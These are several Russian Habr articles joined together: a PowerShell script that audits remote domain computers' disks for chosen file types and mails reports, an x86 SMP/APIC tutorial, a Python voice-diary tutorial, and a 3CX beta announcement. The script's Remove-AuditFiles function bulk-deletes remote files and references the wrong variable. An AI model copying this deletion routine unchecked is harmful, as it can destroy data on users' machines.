$Object = $_
$ErrorActionPreference = 'SilentlyContinue'
$ExclusionFolder2 = $ExclusionFolder -replace ",","|"
$StartTime = (Get-Date).ToString()
$Hosts
```
Выполнение поиска:
* получение списка физических дисков (Get-WMIObject Win32\_LogicalDisk -filter «DriveType = 3» -ComputerName $Object)
* формируется UNC путь с проставлением буквы диска (Get-ChildItem ('\\' + $Object + '\' + ($\_.DeviceID).remove(1) + '$\\*')
* указывается ключ поиска включенных объектов и исключения (-Include $IncludeFile -Exclude $ExclusionFile -Recurse -Force)
* исключение для каталогов, убираем из результатов поиска не нужные каталоги (?{$PSItem.FullName -notmatch $ExclusionFolder2}}).FullName)
* формируется отчет во временном каталоге (Out-File -FilePath $env:TEMP\$Object.txt -Encoding unicode)
```
(Get-WMIObject Win32_LogicalDisk -filter "DriveType = 3" -ComputerName $Object | %{Get-ChildItem ('\\' + $Object + '\' + ($_.DeviceID).remove(1) + '$\*') -Include $IncludeFile -Exclude $ExclusionFile -Recurse -Force | ?{$PSItem.FullName -notmatch $ExclusionFolder2}}).FullName | Out-File -FilePath $env:TEMP\$Object.txt -Encoding unicode
```
Если в момент запуска скрипта, был объявлен параметр «ReportPath», отчет копируется в заданный каталог.
```
If (!$ReportPath) {} else {Copy-Item -Path $env:TEMP\$Object.txt -Destination $ReportPath -Force}
```
Запоминаем время завершения поиска.
```
$EndTime = (Get-Date).ToString()
```
Добавляется запись в лог файл, с успешно завершенными операциями.
```
Write-Output ($Object) | Add-Content $env:TEMP\Online.txt
```
Вывод на экран таблицы с результатом поиска, начало поиска и его время его окончание, объект на котором производился поиск.
```
Invoke-Item $env:TEMP\$Object.txt
$Results = "" | Select ComputerName, "StartTime", "EndTime"
$Results.ComputerName = $Object
$Results.StartTime = $StartTime
$Results.EndTime =$EndTime
$Results
```
Открывает содержимое отчета, если он не пустой, выполняет действие (отправка отчета), если пустой ничего не выполняет. Предотвращает отправку пустых отчетов.
```
If ((Get-Content $env:TEMP\$Object.txt) -eq $Null) {}
```
Если файл отчета не оказался пустой, формируется сообщение с заданными параметрами SMTP сервера, адресом администратора, тестом сообщения, вложением отчета.
```
else {
Try {
Send-MailMessage -SmtpServer $SMTP -to $AdminMail -Body $Object -From denis.pasternak@hotmail.com -Subject $Object -Attachments $env:TEMP\$Object.txt
} Catch {''}
```
Сообщает на экране о том, что включён решим отправки только администратору, если был указан соответствующий ключ.
```
If ($AdminOnly -eq $True) { Write-Host "Включен параметр AdminOnly - отчет отправлен только аминистратору" -ForegroundColor Yellow} else
```
Получаем имя пользователя активного на удаленном компьютере.
```
{
$Username=((gwmi win32_computersystem -computer $Object -ErrorAction SilentlyContinue).UserName -split '\\')[1]
if($username -ne $null)
```
Если значение пользователя не пустое, ищем пользователя в Active Directory, определяем его значение почтовый адрес из моля Email. Получаем так же ФИО из Active Directory.
```
{
$Body = $Body
$dispalyname = (Get-AdUser $username -properties DisplayName).DisplayName
$email = (Get-AdUser $username -properties mail).mail
sleep -Seconds 3
```
Отправляем сообщение пользователю, с телом письма указанным в переменной $Body с подстановкой ФИО взятого из Active Directory.
```
Send-MailMessage -SmtpServer $SMTP -Body ( 'Уважаемый ' + $Dispalyname + ' ' + $Body | out-string ) -To $email -From $AdminMail -Subject $Object -Attachments $env:TEMP\$Object.txt -Encoding Unicode
```
Если компьютер не был доступен, записываем результат в лог файл, о том что он был не доступен.
```
}
}
}
else{ }
}
else {
(Write-Output ($Object + ' ' + (Get-Date).ToString()) | Add-Content $env:TEMP\Offline.txt)}
}
```
Сбрасываем переменные.
```
$OU= $null
$RemoteComputer = $null
$Hosts = $nul
```
Устанавливаем атрибут «HomePage» для объектов компьютеры в Active Directory. Что поможет нам не проводить повторный поиск на этих компьютерах, пока эти значения не будут сброшены.
```
Get-Content $env:TEMP\Online.txt | Set-ADComputer -HomePage 'pass'
}
```
Функция позволяет, открыть файл, получить содержимое (путь к файлу на удаленном компьютере), по каждой строке удалить файл на удаленном компьютере. $TargetFile – задает путь к файлу в котором хранится список файлов на удаление.
```
Function Remove-AuditFiles {
[CmdletBinding(SupportsShouldProcess=$True)]
Param (
[String]$TargetFile
)
Get-Content -Path "$env:TEMP\$Path" | %{Remove-Item $PSItem}
}
```
Функция позволяет сбросить атрибут HomePage объектов в Active Directory. Берет список компьютеров из указанной OU. Удаляет список в лог-файле.
```
Function Reset-AuditComputers {
[CmdletBinding(SupportsShouldProcess=$True)]
Param (
[String]$TargetOU
)
Get-ADComputer -Filter * -SearchBase $TargetOU -Properties * | Set-ADComputer -HomePage 'notpass'
'' | Set-Content -Path $env:TEMP\Online.txt
}
``` | https://habr.com/ru/post/275035/ | null | ru | null |
# Ядра процессора или что такое SMP и с чем его едят
Введение
--------
Доброго времени суток, сегодня хотелось бы затронуть достаточно простую тему, которая почти никем из обычных программистов неизвестна, но каждый из вас, скорее всего, ей пользовался.
Речь пойдет о симметричной мультипроцессорности(в народе — SMP) — архитектура, которая встречается во всех многозадачных операционных системах, и конечно же, является неотъемлемой их частью. Каждый знает, что чем больше ядер у процессора — тем мощнее будет процессор, да, это так, но как ОС может использовать несколько ядер одновременно? Некоторые программисты не спускаются до такого уровня абстракции — им это попросту не надо, но думаю, всем будет интересно то, как же SMP работает.
Многозадачность и её реализация
-------------------------------
Те, кто когда-нибудь изучал архитектуру ЭВМ знает, что процессор сам по себе не умеет выполнять несколько задач сразу, многозадачность нам даёт только ОС, которая и переключает эти задачи. Есть несколько типов многозадачности, но самый адекватный, удобный и широко используемый — вытесняющая многозадачность(главные её аспекты Вы можете прочитать на википедии). Она основана на том, что у каждого процесса(задачи) есть свой приоритет, который влияет на то, сколько процессорного времени ему будет выделено. Каждой задаче даётся один квант времени, во время которого процесс что-либо делает, после истечение кванта времени ОС передает управление другой задаче. Возникает вопрос — а как распределить ресурсы компьютера, такие, как память, устройства и т.п. между процессами? Всё очень просто: Windows делает это сама, Linux же использует систему семафоров. Но одно ядро — несерьезно, идем дальше.
### Прерывания и PIC
Возможно, для кого-то это окажется новостью, для кого-то — нет, но архитектура i386(буду говорить именно про архитектуры x86, ARM не в счет, т.к. данную архитектуру я не изучал, да и никогда с ней не сталкивался(даже на уровне написание какой-нибудь службы или резидентной программы)) использует прерывания(мы будем говорить только про прерывания оборудования, IRQ) для того, чтобы оповестить ОС или программу о том или ином событии. К примеру, существует прерывание 0x8(для защищенного и длинного режимов, к примеру, 0x20, смотря как настроить PIC, об этом дальше), которое вызывается PIT'ом, который, к примеру, может генерировать прерывания с какой-либо необходимой частотой. Тогда работа ОС для распределения квантов времени сводиться к 0, при вызове прерывания работа программы прекращается, и управление отдаётся, к примеру, ядру, которое в свою очередь сохраняет текущие данные программы(регистры, флаги и т.п.) и отдает управление следующему процессу.
Как вы наверное поняли, прерывания — это функции(или же процедуры), которые вызываются в какой-либо момент времени оборудованием, или же самой программой. Всего процессор поддерживает 16 прерываний на двух PIC'ах. Процессор имеет флаги, и один из них — флаг «I» — Interrupt Control. Путем установки данного флага в 0 процессор не будет вызывать никаких аппаратных прерываний. Но, так же хочу заметить, что есть так называемые NMI — Non-Maskable Interrupts — данные прерывания всё равно будут вызываться, даже если бит I установлен в 0. При помощи программирования PIC можно запретить данные прерывания, но после возврата из любого прерывания при помощи IRET — они вновь станут не запрещенными. Замечу, что из-под обычной программы вы не сможете отследить вызов прерывания — выполнение вашей программы остановиться, и только через некоторое время возобновиться, ваша программа этого даже не заметит(да-да, можно проверить то, что было вызвано прерывание — но зачем?
##### PIC — Programmable Interrupt Controller
Из Вики:
> Как правило, представляет собой электронное устройство, иногда выполненное как часть самого процессора или же сложных микросхем его обрамления, входы которого присоединены электрически к соответствующим выходам различных устройств. Номер входа контроллера прерываний обозначается «IRQ». Следует отличать этот номер от приоритета прерывания, а также от номера входа в таблицу векторов прерываний (INT). Так, например, в IBM PC в реальном режиме работы (в этом режиме работает MS-DOS) процессора прерывание от стандартной клавиатуры использует IRQ 1 и INT 9.
>
>
>
> В первоначальной платформе IBM PC используется очень простая схема прерываний. Контроллер прерываний представляет собой простой счётчик, который либо последовательно перебирает сигналы разных устройств, либо сбрасывается на начало при нахождении нового прерывания. В первом случае устройства имеют равный приоритет, во втором устройства с меньшим (или большим при обратном счёте) порядковым номером обладают большим приоритетом.
Как вы поняли, это электронная схема, которая позволяет устройствам отправлять запросы на прерывания, обычно их ровно 2.
Теперь же, давайте перейдем к самой теме статьи.
SMP
---
Для реализации данного стандарта на материнские платы начали ставить новые схемы: APIC и ACPI. Давайте поговорим о первом.
APIC — Advanced Programmable Interrupt Controller, улучшенная версия PIC. Он используется в многопроцессорных системах и является неотъемлемой частью всех последних процессоров Intel (и совместимых). APIC используется для сложного перенаправления прерываний и для отправки прерываний между процессорами. Эти вещи были невозможны с использованием более старой спецификации PIC.
### Local APIC и IO APIC
В системе на базе APIC каждый процессор состоит из «ядра» и «локального APIC'а». Local APIC отвечает за обработку конфигурации прерываний, специфичных для процессора. Помимо всего прочего, он содержит локальную векторную таблицу (LVT), которая переводит события, такие как «внутренние часы(internal clock)» и другие «локальные» источники прерываний, в вектор прерывания (например, контакт LocalINT1 может поднимать исключение NMI, сохраняя «2» в соответствующий вход LVT).
Более подробную информацию о локальном APIC можно найти в «Руководстве по системному программированию» современных процессоров Intel.
Кроме того, имеется APIC IO (например, intel 82093AA), который является частью набора микросхем и обеспечивает многопроцессорное управление прерываниями, включающее как статическое, так и динамическое симметричное распределение прерываний для всех процессоров. В системах с несколькими подсистемами ввода / вывода каждая подсистема может иметь свой собственный набор прерываний.
Каждый вывод прерывания индивидуально программируется «as either edge or level triggered». Вектор прерывания и информация об управлении прерываниями могут быть указаны для каждого прерывания. Схема косвенного доступа к регистру оптимизирует пространство памяти, необходимое для доступа к внутренним регистрам ввода-вывода APIC. Чтобы повысить гибкость системы при назначении использования пространства памяти, пространство двух регистров ввода-вывода APIC является перемещаемым, но по умолчанию оно равно 0xFEC00000.
### Инициализация «локального» APIC'а
Локальный APIC активируется во время загрузки и может быть отключен путем сброса бита 11 IA32\_APIC\_BASE (MSR) (это работает только с процессорами с семейством > 5, поскольку у Pentium нет такого MSR), Затем процессор получает свои прерывания непосредственно из совместимого с 8259 PIC'а. Однако в руководстве Intel по разработке программного обеспечения указано, что после отключения локального APIC'а через IA32\_APIC\_BASE вы не сможете включить его до полного сброса. IO APIC также может быть сконфигурирован для работы в унаследованном режиме, так чтобы он эмулировал устройство 8259.
Локальные регистры APIC отображаются на физическую страницу FEE00xxx (см. таблицу 8-1 Intel P4 SPG). Этот адрес тот же для каждого локального APIC, которые существуют в конфигурации, что означает, что вы можете напрямую обращаться к регистрам локального APIC ядра, в котором в данный момент выполняется ваш код. Обратите внимание, что существует MSR, который определяет фактическую базу APIC (доступен только для процессоров с семейством> 5). MADT содержит локальную базу APIC, а в 64-битных системах может также содержать поле, определяющее 64-разрядное переопределение базового адреса, которое вы должны использовать вместо этого. Вы можете оставить локальную базу APIC только там, где вы ее найдете, или переместить ее туда, куда захотите. Примечание: я не думаю, что вы можете переместить его дальше, чем 4-й ГБайт RAM'а.
Чтобы включить локальный APIC для приема прерываний, необходимо настроить «Spurious Interrupt Vector Register». Правильное значение для этого поля — это номер IRQ, который вы хотите сопоставить ложным прерываниям с младшими 8 битами, и 8-й бит, установленный в 1, чтобы фактически включить APIC (подробнее см. спецификацию). Вы должны выбрать номер прерывания, у которого установлены младшие 4 бита; проще всего использовать 0xFF. Это важно для некоторых более старых процессоров, потому что для этих значений младших 4 бит должны быть установлены в 1.
Отключите 8259 PIC правильно. Это почти так же важно, как настройка APIC. Вы делаете это в два этапа: маскирование всех прерываний и переназначение IRQ. Маскировка всех прерываний отключает их в PIC. Ремаппинг прерываний — это то, что вы, вероятно, уже сделали, когда вы использовали PIC: вы хотите, чтобы запросы прерывания начинались с 32 вместо 0, чтобы избежать конфликтов с исключениями(в защищенном и длинном(Long) режимах процессора, т.к. первые 32 прерывания — исключения(exceptions)). Затем вы должны избегать использования этих векторов прерываний для других целей. Это необходимо, потому что, несмотря на то, что вы маскировали все прерывания PIC, он все равно мог выдавать ложные прерывания, которые затем будут неверно обрабатываться в вашем ядре в качестве исключений.
Перейдем к SMP.
### Симметричная многозадачность: инициализация
Последовательность запуска различна для разных ЦП. Руководство программиста Intel (раздел 7.5.4) содержит протокол инициализации для процессоров Intel Xeon и не охватывает более старые процессоры. Для общего алгоритма «всех типов процессоров» см. «Многопроцессорная спецификация Intel».
Для 80486 (с внешним APIC 8249DX) вы должны использовать IPIT INIT, за которым следует IPI «INIT level de-assert» без каких-либо SIPI. Это означает, что вы не можете сказать им, где начать выполнение вашего кода (векторная часть SIPI), и они всегда начинают выполнять код BIOS. В этом случае вы устанавливаете значение сброса CMOS BIOS в «warm start with far jump» (т. е. Установите положение CMOS 0x0F в значение 10), чтобы BIOS выполнил jmp far ~ [0: 0x0469] », а затем установите сегмент и смещение точки входа AP в 0x0469.
«INIT level de-assert» IPI не поддерживается на новых процессорах (Pentium 4 и Intel Xeon), а AFAIK полностью игнорируется на этих процессорах.
Для более новых процессоров (P6, Pentium 4) достаточно одного SIPI, но я не уверен, что более старые процессоры Intel (Pentium) или процессоры других производителей нуждаются в втором SIPI. Также возможно, что второй SIPI существует в случае сбоя доставки для первого SIPI (шум шины и т. д.).
Обычно я отправляю первый SIPI, а затем жду, чтобы увидеть, увеличивает ли AP счетчик количества запущенных процессоров. Если он не увеличит этот счетчик в течение нескольких миллисекунд, я отправлю второй SIPI. Это отличается от общего алгоритма Intel (который имеет задержку в 200 микросекунд между SIPI), но попытка найти источник времени, способный точно измерять задержку в 200 микросекунд во время ранней загрузки, не так-то просто. Я также обнаружил, что на реальном оборудовании, если задержка между SIPI слишком длинная (и вы не используете мой метод), главный AP может запускать ранний код запуска AP для ОС дважды (что в моем случае приведет к тому, что ОС будет думать, что мы имеем в два раза больше процессоров, чем есть на самом деле).
Вы можете транслировать эти сигналы по шине для запуска каждого присутствующего устройства. Однако при этом вы также можете включить процессоры, которые были отключены специально (потому что они были «дефектными»).
### Ищем информацию, используя MT-таблицу
Некоторая информация (которая может отсутствовать на более новых машинах), предназначенная для многопроцессорности. Сначала нужно найти структуру плавающего указателя MP. Он выровнен по 16-байтовой границе и содержит подпись в начале «\_MP\_» или 0x5F504D5F. ОС должна искать в EBDA, пространстве BIOS ROM и в последнем килобайте «базовой памяти»; размер базовой памяти указан в 2-байтовом значении в 0x413 в килобайтах, минус 1 КБ. Вот как выглядит структура:
```
struct mp_floating_pointer_structure {
char signature[4];
uint32_t configuration_table;
uint8_t length; // In 16 bytes (e.g. 1 = 16 bytes, 2 = 32 bytes)
uint8_t mp_specification_revision;
uint8_t checksum; // This value should make all bytes in the table equal 0 when added together
uint8_t default_configuration; // If this is not zero then configuration_table should be
// ignored and a default configuration should be loaded instead
uint32_t features; // If bit 7 is then the IMCR is present and PIC mode is being used, otherwise
// virtual wire mode is; all other bits are reserved
}
```
Вот как выглядит таблица конфигурации, на которую указывает плавающая структура указателя:
```
struct mp_configuration_table {
char signature[4]; // "PCMP"
uint16_t length;
uint8_t mp_specification_revision;
uint8_t checksum; // Again, the byte should be all bytes in the table add up to 0
char oem_id[8];
char product_id[12];
uint32_t oem_table;
uint16_t oem_table_size;
uint16_t entry_count; // This value represents how many entries are following this table
uint32_t lapic_address; // This is the memory mapped address of the local APICs
uint16_t extended_table_length;
uint8_t extended_table_checksum;
uint8_t reserved;
}
```
После таблицы конфигурации лежат записи entry\_count, которые содержат больше информации о системе, после чего идет расширенная таблица. Записи представляют собой либо 20 байт для представления процессора, либо 8 байт для чего-то другого. Вот как выглядят записи процессора и ввода-вывода APIC.
```
struct entry_processor {
uint8_t type; // Always 0
uint8_t local_apic_id;
uint8_t local_apic_version;
uint8_t flags; // If bit 0 is clear then the processor must be ignored
// If bit 1 is set then the processor is the bootstrap processor
uint32_t signature;
uint32_t feature_flags;
uint64_t reserved;
}
```
Вот запись IO APIC.
```
struct entry_io_apic {
uint8_t type; // Always 2
uint8_t id;
uint8_t version;
uint8_t flags; // If bit 0 is set then the entry should be ignored
uint32_t address; // The memory mapped address of the IO APIC is memory
}
```
### Ищем информацию при помощи APIC
Вы можете найти таблицу MADT (APIC) в ACPI. В таблице приведен список локальных APIC, число которых должно соответствовать количеству ядер на вашем процессоре. Подробностей этой таблицы здесь нет, но вы можете найти их в интернете.
### Запуск AP
После того, как вы собрали информацию, вам необходимо отключить PIC и подготовиться к APIC I/O. Вам также необходимо настроить BSP локального APIC'а. Затем запустите AP с использованием SIPI.
**Код для запуска ядер:**
Замечу, что вектор, который вы указываете при запуске говорит о начальном адресе: вектор 0x8 — адрес 0x8000, вектор 0x9 — адрес 0x9000 и т.п.
```
// ------------------------------------------------------------------------------------------------
static u32 LocalApicIn(uint reg)
{
return MmioRead32(*g_localApicAddr + reg);
}
// ------------------------------------------------------------------------------------------------
static void LocalApicOut(uint reg, u32 data)
{
MmioWrite32(*g_localApicAddr + reg, data);
}
// ------------------------------------------------------------------------------------------------
void LocalApicInit()
{
// Clear task priority to enable all interrupts
LocalApicOut(LAPIC_TPR, 0);
// Logical Destination Mode
LocalApicOut(LAPIC_DFR, 0xffffffff); // Flat mode
LocalApicOut(LAPIC_LDR, 0x01000000); // All cpus use logical id 1
// Configure Spurious Interrupt Vector Register
LocalApicOut(LAPIC_SVR, 0x100 | 0xff);
}
// ------------------------------------------------------------------------------------------------
uint LocalApicGetId()
{
return LocalApicIn(LAPIC_ID) >> 24;
}
// ------------------------------------------------------------------------------------------------
void LocalApicSendInit(uint apic_id)
{
LocalApicOut(LAPIC_ICRHI, apic_id << ICR_DESTINATION_SHIFT);
LocalApicOut(LAPIC_ICRLO, ICR_INIT | ICR_PHYSICAL
| ICR_ASSERT | ICR_EDGE | ICR_NO_SHORTHAND);
while (LocalApicIn(LAPIC_ICRLO) & ICR_SEND_PENDING)
;
}
// ------------------------------------------------------------------------------------------------
void LocalApicSendStartup(uint apic_id, uint vector)
{
LocalApicOut(LAPIC_ICRHI, apic_id << ICR_DESTINATION_SHIFT);
LocalApicOut(LAPIC_ICRLO, vector | ICR_STARTUP
| ICR_PHYSICAL | ICR_ASSERT | ICR_EDGE | ICR_NO_SHORTHAND);
while (LocalApicIn(LAPIC_ICRLO) & ICR_SEND_PENDING)
;
}
void SmpInit()
{
kprintf("Waking up all CPUs\n");
*g_activeCpuCount = 1;
uint localId = LocalApicGetId();
// Send Init to all cpus except self
for (uint i = 0; i < g_acpiCpuCount; ++i)
{
uint apicId = g_acpiCpuIds[i];
if (apicId != localId)
{
LocalApicSendInit(apicId);
}
}
// wait
PitWait(200);
// Send Startup to all cpus except self
for (uint i = 0; i < g_acpiCpuCount; ++i)
{
uint apicId = g_acpiCpuIds[i];
if (apicId != localId)
LocalApicSendStartup(apicId, 0x8);
}
// Wait for all cpus to be active
PitWait(10);
while (*g_activeCpuCount != g_acpiCpuCount)
{
kprintf("Waiting... %d\n", *g_activeCpuCount);
PitWait(10);
}
kprintf("All CPUs activated\n");
}
```
```
[org 0x8000]
AP:
jmp short bsp ; Если это первое ядро - прыгаем в BSP
xor ax,ax
mov ss,ax
mov sp, 0x7c00
xor ax,ax
mov ds,ax
; Mark CPU as active
lock
inc byte [ds:g_activeCpuCount]
;Переходим в защищенный режим, настраиваем стек
jmp zop
bsp:
xor ax,ax
mov ds,ax
mov dword[ds:g_activeCpuCount],0
mov dword[ds:g_activeCpuCount],0
mov word [ds:0x8000], 0x9090 ; Заменяем JMP сюда на 2 NOP'а
;Переходим в защищенный режим, настраиваем стек
```
Теперь, как вы понимаете, чтобы ОС использовать много ядер, надо настроить стек для каждого ядра, каждое ядро, его прерывания и т.п., но самое важное — при использовании симметричной мультипроцессорности все ресурсы у ядер одни и те же: одна память, один PCI и т.п., и ОС остаётся лишь распараллелить задачи между ядрами.
Надеюсь, что статья получилась не достаточно нудной, и достаточно информативной. В следующий раз, думаю, можно поговорить о том, как раньше рисовали на экране(и сейчас рисуют), без использования шейдеров и крутых видеокарт.
Удачи! | https://habr.com/ru/post/426497/ | null | ru | null |
# Голосовой дневник на python с распознаванием голоса и сохранением в Mongo DB
Зачем всё это?
--------------
Все больше растет популярность голосовых интерфейсов. Многие технологические компании-гиганты стремятся сделать своего голосового помощника. Но речевые технологии доступны и обычным пользователям. Каждый может использовать их в своих проектах ~~и делать голосовые интерфейсы еще удобнее и популярнее~~ .
Голосовой дневник - лишь один из примеров того, как можно встроить функции голосового интерфейса в повседневные действия.
Постановка задачи
-----------------
У голосового дневника есть 4 основные задачи:
* распознать входящее аудиосообщение
* сохранить данные в базу
* вернуть или удалить данные из базы
* иметь удобный интерфейс взаимодействия
технологический стек голосового дневникаБудем использовать mongo db для сохранения нашего ~~очень важного~~ текста, docker для разворачивания базы данных, telegram в качестве интерфейса и голосовую модель vosk для распознавания голоса.
Разберемся подробнее с составными частями нашего дневника.
Голосовой движок
----------------
Для распознавания голоса нужна языковая модель (online или offline), которая будет за разумное время переводить аудио в текст. Среди прочих существующих моделей мне понравился open source проект [vosk](https://github.com/alphacep/vosk-api). Он работает offline и достаточно точно распознает голосовые сообщения. К тому же, в нем для русского языка есть как очень легкие (43 mb) так и очень тяжелые (2.5 gb) модели, а выбор - это всегда хорошо. Полный список доступных моделей можно найти на [официальном сайте](https://alphacephei.com/vosk/models). Помимо русского, там есть украинский, английский, немецкий и многие другие.
Ниже представлен код, использующий русскоязычную модель распознавания речи. Из особенностей: на вход должен подаваться файл формата wav.
```
import wave
import json
import vosk
from vosk import KaldiRecognizer
def recognize_phrase(model: vosk.Model, phrase_wav_path: str) -> str:
"""
Recognize Russian voice in wav
"""
wave_audio_file = wave.open(phrase_wav_path, "rb")
offline_recognizer = KaldiRecognizer(model, 24000)
data = wave_audio_file.readframes(wave_audio_file.getnframes())
offline_recognizer.AcceptWaveform(data)
recognized_data = json.loads(offline_recognizer.Result())["text"]
return recognized_data
```
Хотя offline модели распознавания не такие точные, как их online аналоги, все-таки независимость от интернет-соединения развязывает руки во многих проектах.
Из минусов распознавания:
* Не может распознать слова на другом языке
* Плохо распознает заимствованные и терминологические слова
База данных
-----------
Для хранения текстовых данных будем использовать mongo db. Среди явных преимуществ такого решения следующее:
* Удобное хранение объемных текстовых данных
* Легкость расширения хранимых полей
* Простота обращения с индексом
Полный код команд добавления, удаления и поиска по базе mongo db можно найти в репозитории проекта, здесь же, для примера, разберем функцию добавления наших текстовых данных.
```
import datetime
from pymongo.errors import DuplicateKeyError
from pymongo.collection import Collection
def add_value(database: Collection, value: str):
"""
Добавить одну запись в базу данных
"""
database_index = int(datetime.datetime.now().timestamp())
try:
database.insert_one({'_id': database_index, 'text': value})
return True
except DuplicateKeyError:
return False
```
Индексом для хранилища выбран timestamp по нескольким причинам:
* Быстрый поиск / удаление для интервалов дат (одна из функций дневника)
* Наличие всего одного юзера (не будет проблем с дублированием индекса)
* Не нужно заморачиваться и выдумывать что-то сложнее
FFmpeg
------
> [FFmpeg](https://ffmpeg.org/) — набор свободных библиотек с открытым исходным кодом, которые позволяют записывать, конвертировать и передавать цифровые аудио- и видеозаписи в различных форматах.
>
>
Зачем нам `ffmpeg` ? Формат файла, в котором сохраняются аудио-сообщения из telegram - это `ogg`. Но vosk работает с форматом `wav`. Поэтому будем использовать `ffmpeg` для трансформации `ogg` в `wav`.
Многие существующие библиотеки обработки аудио на python требуют наличие установленного `ffmpeg`. Но если у нас установлен `ffmpeg`, зачем использовать библиотеку, если можно использовать встроенные команды?
```
# команда для конвертации ogg в wav
ffmpeg -i ./my_phrase.ogg
-ar 16000 -ac 2 -ab 192K -f wav ./my_phrase_to_translite.wav
```
разбор параметров команды* -i ./my\_phrase.ogg - текущий источник данных (исходная фраза для конвертации)
* `-ar 16000`- частота дискретизации звука конечного файла. (Гц)
* `-ac 2 -` количество аудиоканалов
* `-ab 192K -` битрейт
* `-f wav -` формат конечного файла
Docker
------
Нужен для того, чтобы запустить внутри контейнера базу данных. В перспективе приложение с интерфейсом бота так же будет разворачиваться внутри отдельного контейнера.
Сам скрипт запуска достаточно простой, но есть один важный момент: нам не нужно разворачивать базу данных, если ее контейнер уже существует. Мы же не хотим однажды потерять все наши накопленные записи. Делается это очень просто: поиском имени запускаемого контейнера в пространстве имен уже запущенных ранее.
Команда для проверки:
```
if docker inspect --format '{{json .State.Running}}' mongo_database
then
echo "container is already running"
exit
fi
```
Telegram bot API
----------------
В качестве интерфейса дневника будем использовать всеми любимый telegram, а именно бота по API ключу. Преимущества такого решения следующие:
1. Удобное API
2. Реализованная функция отправки голосового сообщения
3. Работа дневника в интерфейсном режиме чата
Пример работы
-------------
Далее идем в базу данных за нашими сообщениями, но уже в формате текста.
Как видим, текст распознался корректно и пользователю вернулись все записи, которые он сделал за последние 10 минут.
А что дальше?
-------------
Своим проектом я хотел показать простоту использования базовых голосовых функций в 2021 году. При желании можно прикрутить эвристическое / machine learning распознавание фраз или ключевых слов и сделать на основе этого проекта голосовое управление какой-нибудь системой.
Весь код проекта можно найти здесь: [проект на GitHub](https://github.com/MaximShalankin/python_voice_diary) | https://habr.com/ru/post/564924/ | null | ru | null |
# Представляем 3CX V15.5 Beta
На этой неделе мы снова порадуем вас приятной новостью – выпущена 3CX V15.5 Beta! Это значит, что финальная версия 3CX V15.5 уже совсем не за горами. Мы получили много хороших отзывов об альфа-версии 15.5, особенно о новом веб клиенте. В бете мы сосредоточились на улучшениях и исправлениях, которые потребовались альфа-версии.
### Что нового в 3CX V15.5 Beta?
* Новый веб клиент 3CX
* Интегрированный в систему отельный модуль. Документация к модулю находится в процессе подготовки.
* Новое расширение Click-to-Call для браузера Chrome
* Автоматическое переключение факс-сервера между протоколами G.711 и T.38 в зависимости от протокола передающей стороны
* Формирование отчетов в формате PDF в Linux версии 3CX
* В Информационной панели колл-центра добавлено Среднее время разговора. Информационная панель теперь находится в новом веб клиенте.
* Новый User Agent CSTA и модуль [CSTA](https://en.wikipedia.org/wiki/Computer-supported_telecommunications_applications) для управления телефонами Yealink, Snom, Htek и клиентами 3CX
* Пользовательский плейлист для MOH (музыки на удержании)
* Поддержка PUSH уведомлений [Firebase Cloud Messaging](https://firebase.google.com/docs/cloud-messaging/). Для включения поддержки обновите [мобильный клиент 3CX](https://play.google.com/store/apps/details?id=com.tcx.sipphone14&hl=en).
### Как установить 3CX V15.5 Beta?
Важно отметить, что невозможно перейти с альфа-версии 3CX на бету. Необходимо деинсталлировать альфа-версию сервера и клиентов 3CX, и установить новую бету.
Если у вас уже установлена 3CX V15, бета версия доступна и в стабильном релизе, в разделе **Обновления**.
[](http://igorsnezhko.files.wordpress.com/2017/05/image.png)
Не рекомендуется устанавливать бета-обновление на рабочую систему! Но вы можете обновить свою тестовую систему, чтобы протестировать новые возможности 3CX. Мы предлагаем опциональные бета-обновления подобно тому, как разработчики Google Play предлагают стать бета-тестерами некоторых приложений. Мы допускаем, что в бета-версии могут быть ошибки – имейте это ввиду. Однако, впоследствии вы сможете свободно обновить бету до стабильного релиза – переустановка системы не потребуется.
* Если вы устанавливаете 3CX через сервис [PBX express](https://pbxexpress.3cx.com/) – будет развернута данная бета-версия
* Windows версия доступна по [этой ссылке](https://downloads.3cx.com/downloads/3CXPhoneSystem_15.5.715.6.exe)
* Linux версия устанавливается командами
```
wget -O- http://downloads.3cx.com/downloads/3cxpbx/public.key | apt-key add -
echo "deb http://downloads.3cx.com/downloads/3cxpbx/ /" | tee /etc/apt/sources.list.d/3cxpbx.list
apt-get update
apt-get install 3cxpbx
```
Для корректной работы нового веб клиента обновите клиенты 3CX:
* [3CX клиент для Windows](https://downloads.3cx.com/downloads/3CXPhoneforWindows15.msi)
* [3CX клиент для Mac](https://downloads.3cx.com/downloads/3CXPhoneForMac15.dmg)
Полный лог изменений находится [здесь](https://www.3cx.com/blog/change-log/phone-system-change-log/).
### Ответы на вопросы
Продолжаем отвечать на актуальные вопросы наших пользователей!
**Какие на сегодня есть ограничения веб клиента?** Новый веб клиент не поддерживает удержание вызова и перетаскивание вызова мышкой.
**Как войти или выйти из индивидуальной Очереди вызовов?** Просто кликните по своему имени в новом веб клиенте.
[](http://igorsnezhko.files.wordpress.com/2017/05/image1.png)
**Будет ли возвращен HTTP API?** В настоящий момент такой метод совершения вызовов не может считаться безопасным. Поэтому мы разработали новый [REST API](https://www.3cx.com/docs/crm-integration/), вокруг которого можно развивать современную экосистему приложений.
**Почему не был выпущен редактор голосовых приложений VAD для 3CX V15?** Дело в том, что ядро системы 3CX, фактически, было переписано с нуля, для того, чтобы обеспечить кроссплатформенность и поддержку самых современных интернет-технологий. Тут же отметим, что работа ядра (движка) 3CX также зависит и от некоторых сторонних программных технологий. Поэтому, несмотря на то что клиентский интерфейс VAD мог быть выпущен в любой момент, необходимо было реализовать поддержку голосовых сценариев именно новым ядром 3CX. В данный момент такая поддержка реализована, и VAD проходит финальное тестирование.
**А что происходит с модулем 3CX для гостиниц?** Как было сказано ранее, теперь у модуля не будет собственного пользовательского интерфейса. С другой стороны, модуль предлагается совершенно бесплатно для пользователей 3CX Pro и совместим со следующими PMS системами:
* Agilysys
* Autoclerk
* Booking Center MyPMS
* Cenium
* Maestro for Northwind
* Fidelity Hotel Management System
* Micros Opera
* Choice Hotels International
* Brilliant Hotelsoftware
* CMS Hospitality Guestcentrix
* Fidelio-Opera
* Micros-Fidelio
* Fidelio
* ResortSuite
* Gracesoft
* Hotec Expert Hotelier Suite
* Hotel Concept
* WebPMS
* Atrium INN client server systems
* HSS Hotel Software Systems
* Innfinity software systems
* InnRoad
* MyHMS innpoints
[](http://igorsnezhko.files.wordpress.com/2017/05/image3.png)
